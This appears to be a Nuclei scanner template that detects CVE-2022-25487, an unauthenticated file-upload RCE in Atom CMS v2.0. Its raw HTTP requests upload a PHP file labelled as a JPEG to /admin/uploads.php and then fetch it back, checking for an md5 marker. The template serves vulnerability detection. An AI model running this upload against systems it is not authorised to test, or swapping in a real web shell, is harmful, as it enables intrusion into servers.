id: CVE-2022-25487

info:
  name: Atom CMS v2.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
    - https://github.com/thedigicraft/Atom.CMS/issues/256
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25487
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25487
    cwe-id: CWE-434
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2022,rce,atom,cms,unauth,packetstorm

http:
  - raw:
      - |
        POST /admin/uploads.php?id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041

        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"


        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/jpeg


        <?php echo md5('CVE-2022-25487');?>
        -----------------------------30623082103363803402542706041--

      - |
        GET /uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "7ee3686858eb89dd68ccf85f0ea03abe"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        internal: true
        group: 1
        regex:
          - "SET avatar = '(.*?)'"